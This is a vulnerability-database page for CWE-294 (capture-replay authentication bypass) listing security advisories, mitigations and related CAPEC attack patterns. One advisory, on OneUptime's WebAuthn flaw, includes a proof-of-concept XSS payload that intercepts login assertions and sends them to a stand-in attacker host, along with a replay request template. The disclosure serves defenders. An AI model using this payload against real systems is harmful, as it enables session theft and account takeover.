CWE-294
AllowedAuthentication Bypass by Capture-replay
Abstraction: Base · Status: Incomplete
A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).
348 vulnerabilities reference this CWE, most recent first.
GHSA-GCJ7-R3HG-M7W6
Vulnerability from github – Published: 2026-03-03 22:25 – Updated: 2026-03-03 22:25Summary
The voice-call Twilio webhook path accepted replay/dedupe identity from unsigned request metadata (i-twilio-idempotency-token), enabling replayed signed requests to bypass replay detection and manager dedupe by mutating only that header.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.2.25(latest published npm version at triage time) - Fixed on
main: commit1aadf26f9acc399affabd859937a09468a9c5cb4 - Planned patched npm version:
2026.2.26
Impact
Deployments using the optional voice-call Twilio webhook path could accept replayed webhook events as fresh events when an attacker had one valid signed request and changed only the unsigned idempotency header.
Technical Details
The fix removes unsigned-header trust from Twilio replay/dedupe identity and binds replay/manager dedupe to authenticated request material. It also threads a verified request identity through provider parsing so dedupe uses verification-derived identity rather than mutable headers.
Fix Commit(s)
1aadf26f9acc399affabd859937a09468a9c5cb4
Release Process Note
patched_versions is pre-set to the planned next release (2026.2.26). After the npm release is published, this advisory can be published without additional version-field edits.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.25"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-294",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T22:25:37Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\nThe voice-call Twilio webhook path accepted replay/dedupe identity from unsigned request metadata (`i-twilio-idempotency-token`), enabling replayed signed requests to bypass replay detection and manager dedupe by mutating only that header.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.25` (latest published npm version at triage time)\n- Fixed on `main`: commit `1aadf26f9acc399affabd859937a09468a9c5cb4`\n- Planned patched npm version: `2026.2.26`\n\n### Impact\nDeployments using the optional `voice-call` Twilio webhook path could accept replayed webhook events as fresh events when an attacker had one valid signed request and changed only the unsigned idempotency header.\n\n### Technical Details\nThe fix removes unsigned-header trust from Twilio replay/dedupe identity and binds replay/manager dedupe to authenticated request material. It also threads a verified request identity through provider parsing so dedupe uses verification-derived identity rather than mutable headers.\n\n### Fix Commit(s)\n- `1aadf26f9acc399affabd859937a09468a9c5cb4`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.26`). After the npm release is published, this advisory can be published without additional version-field edits.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-gcj7-r3hg-m7w6",
"modified": "2026-03-03T22:25:37Z",
"published": "2026-03-03T22:25:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gcj7-r3hg-m7w6"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/1aadf26f9acc399affabd859937a09468a9c5cb4"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw\u0027s voice-call Twilio replay dedupe now bound to authenticated webhook identity"
}
GHSA-GCXW-4WRX-XHW5
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2025-04-22 21:30Bluetooth® Pairing in Bluetooth Core Specification v1.0B through v5.3 may permit an unauthenticated MITM to acquire credentials with two pairing devices via adjacent access when at least one device supports BR/EDR Secure Connections pairing and the other BR/EDR Legacy PIN code pairing if the MITM negotiates BR/EDR Secure Simple Pairing in Secure Connections mode using the Passkey association model with the pairing Initiator and BR/EDR Legacy PIN code pairing with the pairing Responder and brute forces the Passkey entered by the user into the Responder as a 6-digit PIN code. The MITM attacker can use the identified PIN code value as the Passkey value to complete authentication with the Initiator via Bluetooth pairing method confusion.
{
"affected": [],
"aliases": [
"CVE-2022-25837"
],
"database_specific": {
"cwe_ids": [
"CWE-294"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-12T04:15:00Z",
"severity": "HIGH"
},
"details": "Bluetooth\u00ae Pairing in Bluetooth Core Specification v1.0B through v5.3 may permit an unauthenticated MITM to acquire credentials with two pairing devices via adjacent access when at least one device supports BR/EDR Secure Connections pairing and the other BR/EDR Legacy PIN code pairing if the MITM negotiates BR/EDR Secure Simple Pairing in Secure Connections mode using the Passkey association model with the pairing Initiator and BR/EDR Legacy PIN code pairing with the pairing Responder and brute forces the Passkey entered by the user into the Responder as a 6-digit PIN code. The MITM attacker can use the identified PIN code value as the Passkey value to complete authentication with the Initiator via Bluetooth pairing method confusion.",
"id": "GHSA-gcxw-4wrx-xhw5",
"modified": "2025-04-22T21:30:37Z",
"published": "2023-07-06T19:24:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25837"
},
{
"type": "WEB",
"url": "https://www.bluetooth.com/learn-about-bluetooth/key-attributes/bluetooth-security/reporting-security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GFX6-FV9X-FGPC
Vulnerability from github – Published: 2024-09-18 15:30 – Updated: 2024-10-01 18:31An issue in SMART TYRE CAR & BIKE v4.2.0 allows attackers to perform a man-in-the-middle attack via Bluetooth communications.
{
"affected": [],
"aliases": [
"CVE-2024-39081"
],
"database_specific": {
"cwe_ids": [
"CWE-294"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-18T14:15:19Z",
"severity": "MODERATE"
},
"details": "An issue in SMART TYRE CAR \u0026 BIKE v4.2.0 allows attackers to perform a man-in-the-middle attack via Bluetooth communications.",
"id": "GHSA-gfx6-fv9x-fgpc",
"modified": "2024-10-01T18:31:16Z",
"published": "2024-09-18T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39081"
},
{
"type": "WEB",
"url": "https://github.com/Amirasaiyad/BLE-TPMS/blob/main/README.md"
},
{
"type": "WEB",
"url": "https://github.com/Amirasaiyad/BLE-TPMS/blob/main/Treel_BLE_TPMS_Penetration_Testing_Report.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GJJC-PCWP-C74M
Vulnerability from github – Published: 2026-03-02 21:40 – Updated: 2026-03-06 15:16Summary
The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.
Details
During WebAuthn authentication, the server generates a random challenge via generateAuthenticationOptions() in Common/Server/Services/UserWebAuthnService.ts (line 164-221). However, the challenge is only returned to the client and never stored in a session or database on the server side.
When the client submits the authentication response, the server reads the expectedChallenge directly from the untrusted request body (Authentication.ts:1042):
// App/FeatureSet/Identity/API/Authentication.ts:1041-1049
} else if (verifyWebAuthn) {
const expectedChallenge: string = data["challenge"] as string; // ← client-controlled
const credential: any = data["credential"];
await UserWebAuthnService.verifyAuthentication({
userId: alreadySavedUser.id!.toString(),
challenge: expectedChallenge, // ← NOT a server-stored value
credential: credential,
});
}
The verifyAuthentication() method then passes this client-provided challenge to @simplewebauthn/server's verifyAuthenticationResponse() as expectedChallenge (UserWebAuthnService.ts:268-270):
const verification: any = await verifyAuthenticationResponse({
response: data.credential,
expectedChallenge: data.challenge, // ← client-controlled value used as "expected"
expectedOrigin: expectedOrigin,
expectedRPID: Host.toString(),
credential: { /* public key from DB */ },
});
Since both the expectedChallenge (from request body) and the challenge embedded in the credential's clientDataJSON originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.
Correct flow vs. OneUptime's flow:
| Step | Correct WebAuthn | OneUptime |
|---|---|---|
| 1. Generate challenge | Server generates random challenge | Same |
| 2. Store challenge | Saved in session/DB | Not saved anywhere |
| 3. Send to client | Sent to client | Same |
| 4. Authenticator signs | Authenticator signs challenge | Same |
| 5. Client returns | Returns signed credential | Returns credential + challenge |
| 6. Verify | Compares against server-stored value | Compares against client-provided value |
| Result | Replay-proof | Replayable |
PoC
Prerequisites: - An attacker has obtained the victim's password (e.g., credential stuffing, phishing) - An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)
Steps to reproduce:
- Capture a valid WebAuthn assertion.
Intercept or extract a legitimate authentication request containing
challengeandcredentialfields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):
javascript
// XSS payload to intercept WebAuthn authentication
const origFetch = window.fetch;
window.fetch = async function(url, opts) {
if (url.includes('/verify') && opts?.body) {
const body = JSON.parse(opts.body);
if (body.data?.credential) {
// Exfiltrate the assertion
navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
challenge: body.data.challenge,
credential: body.data.credential
}));
}
}
return origFetch.apply(this, arguments);
};
- Replay the captured assertion at any later time. Send the following request with the victim's email, password, and the captured challenge + credential:
```http POST /api/identity/authentication/login HTTP/1.1 Content-Type: application/json
{ "data": { "email": "victim@example.com", "password": "", "challenge": "", "credential": { "id": "", "rawId": "", "response": { "authenticatorData": "", "clientDataJSON": "", "signature": "" }, "type": "public-key", "clientExtensionResults": {}, "authenticatorAttachment": "platform" } } } ```
- Result: The server accepts the authentication. The
expectedChallenge(from the request body) matches the challenge inclientDataJSON(from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account.
The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device.
Impact
WebAuthn 2FA is rendered ineffective. The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely — the assertion never expires because there is no server-side challenge state to invalidate.
Who is impacted: Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.
Attack chain potential: This vulnerability can be chained with: - Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions - Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing - User enumeration via differential error messages to identify valid targets
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@oneuptime/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "10.0.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28787"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-294"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T21:40:54Z",
"nvd_published_at": "2026-03-06T05:16:39Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification ([W3C Web Authentication Level 2, \u00a713.4.3](https://www.w3.org/TR/webauthn-2/#sctn-cryptographic-challenges)) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.\n\n### Details\n\nDuring WebAuthn authentication, the server generates a random challenge via `generateAuthenticationOptions()` in `Common/Server/Services/UserWebAuthnService.ts` (line 164-221). However, the challenge is **only returned to the client** and **never stored in a session or database** on the server side.\n\nWhen the client submits the authentication response, the server reads the `expectedChallenge` directly from the untrusted request body (`Authentication.ts:1042`):\n\n```typescript\n// App/FeatureSet/Identity/API/Authentication.ts:1041-1049\n} else if (verifyWebAuthn) {\n const expectedChallenge: string = data[\"challenge\"] as string; // \u2190 client-controlled\n const credential: any = data[\"credential\"];\n\n await UserWebAuthnService.verifyAuthentication({\n userId: alreadySavedUser.id!.toString(),\n challenge: expectedChallenge, // \u2190 NOT a server-stored value\n credential: credential,\n });\n}\n```\n\nThe `verifyAuthentication()` method then passes this client-provided challenge to `@simplewebauthn/server`\u0027s `verifyAuthenticationResponse()` as `expectedChallenge` (`UserWebAuthnService.ts:268-270`):\n\n```typescript\nconst verification: any = await verifyAuthenticationResponse({\n response: data.credential,\n expectedChallenge: data.challenge, // \u2190 client-controlled value used as \"expected\"\n expectedOrigin: expectedOrigin,\n expectedRPID: Host.toString(),\n credential: { /* public key from DB */ },\n});\n```\n\nSince both the `expectedChallenge` (from request body) and the challenge embedded in the credential\u0027s `clientDataJSON` originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user\u0027s authenticator.\n\n**Correct flow vs. OneUptime\u0027s flow:**\n\n| Step | Correct WebAuthn | OneUptime |\n|------|-----------------|-----------|\n| 1. Generate challenge | Server generates random challenge | Same |\n| 2. Store challenge | **Saved in session/DB** | **Not saved anywhere** |\n| 3. Send to client | Sent to client | Same |\n| 4. Authenticator signs | Authenticator signs challenge | Same |\n| 5. Client returns | Returns signed credential | Returns credential **+ challenge** |\n| 6. Verify | Compares against **server-stored** value | Compares against **client-provided** value |\n| Result | Replay-proof | **Replayable** |\n\n### PoC\n\n**Prerequisites:**\n- An attacker has obtained the victim\u0027s password (e.g., credential stuffing, phishing)\n- An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)\n\n**Steps to reproduce:**\n\n1. **Capture a valid WebAuthn assertion.**\n Intercept or extract a legitimate authentication request containing `challenge` and `credential` fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):\n\n ```javascript\n // XSS payload to intercept WebAuthn authentication\n const origFetch = window.fetch;\n window.fetch = async function(url, opts) {\n if (url.includes(\u0027/verify\u0027) \u0026\u0026 opts?.body) {\n const body = JSON.parse(opts.body);\n if (body.data?.credential) {\n // Exfiltrate the assertion\n navigator.sendBeacon(\u0027https://attacker.example/collect\u0027, JSON.stringify({\n challenge: body.data.challenge,\n credential: body.data.credential\n }));\n }\n }\n return origFetch.apply(this, arguments);\n };\n ```\n\n2. **Replay the captured assertion at any later time.**\n Send the following request with the victim\u0027s email, password, and the captured challenge + credential:\n\n ```http\n POST /api/identity/authentication/login HTTP/1.1\n Content-Type: application/json\n\n {\n \"data\": {\n \"email\": \"victim@example.com\",\n \"password\": \"\u003cvictim\u0027s password\u003e\",\n \"challenge\": \"\u003ccaptured challenge value\u003e\",\n \"credential\": {\n \"id\": \"\u003ccaptured credential id\u003e\",\n \"rawId\": \"\u003ccaptured rawId\u003e\",\n \"response\": {\n \"authenticatorData\": \"\u003ccaptured authenticatorData\u003e\",\n \"clientDataJSON\": \"\u003ccaptured clientDataJSON\u003e\",\n \"signature\": \"\u003ccaptured signature\u003e\"\n },\n \"type\": \"public-key\",\n \"clientExtensionResults\": {},\n \"authenticatorAttachment\": \"platform\"\n }\n }\n }\n ```\n\n3. **Result:** The server accepts the authentication. The `expectedChallenge` (from the request body) matches the challenge in `clientDataJSON` (from the same captured assertion), and the signature is valid (signed by the real user\u0027s key). A session token is returned, granting full access to the victim\u0027s account.\n\n The attacker bypasses WebAuthn 2FA without possessing the victim\u0027s authenticator device.\n\n### Impact\n\n**WebAuthn 2FA is rendered ineffective.** The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely \u2014 the assertion never expires because there is no server-side challenge state to invalidate.\n\n**Who is impacted:** Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.\n\n**Attack chain potential:** This vulnerability can be chained with:\n- Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions\n- Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing\n- User enumeration via differential error messages to identify valid targets",
"id": "GHSA-gjjc-pcwp-c74m",
"modified": "2026-03-06T15:16:15Z",
"published": "2026-03-02T21:40:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-gjjc-pcwp-c74m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28787"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "OneUptime has WebAuthn 2FA bypass: server accepts client-supplied challenge instead of server-stored value, allowing credential replay"
}
GHSA-GMW6-384Q-C4PF
Vulnerability from github – Published: 2022-05-24 17:12 – Updated: 2022-05-24 17:12The remote keyless system on Honda HR-V 2017 vehicles sends the same RF signal for each door-open request, which might allow a replay attack.
{
"affected": [],
"aliases": [
"CVE-2019-20626"
],
"database_specific": {
"cwe_ids": [
"CWE-294"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-23T17:15:00Z",
"severity": "LOW"
},
"details": "The remote keyless system on Honda HR-V 2017 vehicles sends the same RF signal for each door-open request, which might allow a replay attack.",
"id": "GHSA-gmw6-384q-c4pf",
"modified": "2022-05-24T17:12:09Z",
"published": "2022-05-24T17:12:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20626"
},
{
"type": "WEB",
"url": "https://github.com/HackingIntoYourHeart/Unoriginal-Rice-Patty"
},
{
"type": "WEB",
"url": "https://medium.com/@victor_14768/replay-attacks-en-autos-206481dcfee1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GP8J-QW75-8Q9Q
Vulnerability from github – Published: 2023-04-05 21:30 – Updated: 2023-04-12 21:30A vulnerability in the offline access mode of Cisco Duo Two-Factor Authentication for macOS and Duo Authentication for Windows Logon and RDP could allow an unauthenticated, physical attacker to replay valid user session credentials and gain unauthorized access to an affected macOS or Windows device. This vulnerability exists because session credentials do not properly expire. An attacker could exploit this vulnerability by replaying previously used multifactor authentication (MFA) codes to bypass MFA protection. A successful exploit could allow the attacker to gain unauthorized access to the affected device.
{
"affected": [],
"aliases": [
"CVE-2023-20123"
],
"database_specific": {
"cwe_ids": [
"CWE-294"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-05T19:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the offline access mode of Cisco Duo Two-Factor Authentication for macOS and Duo Authentication for Windows Logon and RDP could allow an unauthenticated, physical attacker to replay valid user session credentials and gain unauthorized access to an affected macOS or Windows device. This vulnerability exists because session credentials do not properly expire. An attacker could exploit this vulnerability by replaying previously used multifactor authentication (MFA) codes to bypass MFA protection. A successful exploit could allow the attacker to gain unauthorized access to the affected device.",
"id": "GHSA-gp8j-qw75-8q9q",
"modified": "2023-04-12T21:30:22Z",
"published": "2023-04-05T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20123"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-duo-replay-knuNKd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GQV6-PWCG-87R8
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47Impact
The attacker, with one captured signed SOAP envelope from a victim and no other privileges, can invoke arbitrary operations on the service as the victim principal for the lifetime of the captured signing key. There is no rate limit on replays. The DetectReplays setting on transport-security bindings does not mitigate the issue because the attack does not reuse the original timestamp — the fresh timestamp in the wsse:Security header is what the replay-detection logic inspects.
Patches
Fixed in CoreWCF v1.8.1 and v1.9.1
Workarounds
Ensure communication is protected by SSL/TLS to prevent capturing of signed SOAP envelope.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "CoreWCF.Primitives"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "CoreWCF.Primitives"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "1.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54783"
],
"database_specific": {
"cwe_ids": [
"CWE-294",
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nThe attacker, with one captured signed SOAP envelope from a victim and no other privileges, can invoke arbitrary operations on the service as the victim principal for the lifetime of the captured signing key. There is no rate limit on replays. The DetectReplays setting on transport-security bindings does not mitigate the issue because the attack does not reuse the original timestamp \u2014 the fresh timestamp in the wsse:Security header is what the replay-detection logic inspects.\n\n### Patches\nFixed in CoreWCF v1.8.1 and v1.9.1\n\n### Workarounds\nEnsure communication is protected by SSL/TLS to prevent capturing of signed SOAP envelope.",
"id": "GHSA-gqv6-pwcg-87r8",
"modified": "2026-06-19T20:47:14Z",
"published": "2026-06-19T20:47:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/CoreWCF/CoreWCF/security/advisories/GHSA-gqv6-pwcg-87r8"
},
{
"type": "PACKAGE",
"url": "https://github.com/CoreWCF/CoreWCF"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "CoreWCF: XML Signature Wrapping in WS-Security endorsing/supporting signature verification allows replay of captured signed messages"
}
GHSA-GV37-4VJV-96XM
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36An issue was discovered on Samsung mobile devices with O(8.x), P(9.0), and Q(10.0) (Exynos chipsets) software. They allow attackers to conduct RPMB state-change attacks because an unauthorized RPMB write operation can be replayed, a related issue to CVE-2020-13799. The Samsung ID is SVE-2020-18100 (December 2020).
{
"affected": [],
"aliases": [
"CVE-2020-35551"
],
"database_specific": {
"cwe_ids": [
"CWE-294"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-18T09:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered on Samsung mobile devices with O(8.x), P(9.0), and Q(10.0) (Exynos chipsets) software. They allow attackers to conduct RPMB state-change attacks because an unauthorized RPMB write operation can be replayed, a related issue to CVE-2020-13799. The Samsung ID is SVE-2020-18100 (December 2020).",
"id": "GHSA-gv37-4vjv-96xm",
"modified": "2022-05-24T17:36:56Z",
"published": "2022-05-24T17:36:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35551"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GVC3-RHV6-6X2C
Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-26 19:00An information disclosure vulnerability exists in the XFINDER functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted man-in-the-middle attack can lead to increased privileges. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-29475"
],
"database_specific": {
"cwe_ids": [
"CWE-294"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-25T17:15:00Z",
"severity": "HIGH"
},
"details": "An information disclosure vulnerability exists in the XFINDER functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted man-in-the-middle attack can lead to increased privileges. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.",
"id": "GHSA-gvc3-rhv6-6x2c",
"modified": "2022-10-26T19:00:39Z",
"published": "2022-10-25T19:00:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29475"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1553"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GX2R-V5M4-V5QP
Vulnerability from github – Published: 2022-07-05 00:00 – Updated: 2022-07-16 00:00Use of hard-coded credentials vulnerability exists in Machine automation controller NJ series all models V 1.48 and earlier, Machine automation controller NX7 series all models V1.28 and earlier, Machine automation controller NX1 series all models V1.48 and earlier, Automation software 'Sysmac Studio' all models V1.49 and earlier, and Programmable Terminal (PT) NA series NA5-15W/NA5-12W/NA5-9W/NA5-7W models Runtime V1.15 and earlier, which may allow a remote attacker who successfully obtained the user credentials by analyzing the affected product to access the controller.
{
"affected": [],
"aliases": [
"CVE-2022-34151"
],
"database_specific": {
"cwe_ids": [
"CWE-294",
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-04T02:15:00Z",
"severity": "HIGH"
},
"details": "Use of hard-coded credentials vulnerability exists in Machine automation controller NJ series all models V 1.48 and earlier, Machine automation controller NX7 series all models V1.28 and earlier, Machine automation controller NX1 series all models V1.48 and earlier, Automation software \u0027Sysmac Studio\u0027 all models V1.49 and earlier, and Programmable Terminal (PT) NA series NA5-15W/NA5-12W/NA5-9W/NA5-7W models Runtime V1.15 and earlier, which may allow a remote attacker who successfully obtained the user credentials by analyzing the affected product to access the controller.",
"id": "GHSA-gx2r-v5m4-v5qp",
"modified": "2022-07-16T00:00:27Z",
"published": "2022-07-05T00:00:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34151"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU97050784/index.html"
},
{
"type": "WEB",
"url": "https://www.ia.omron.com/product/vulnerability/OMSR-2022-001_en.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.
Mitigation
Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.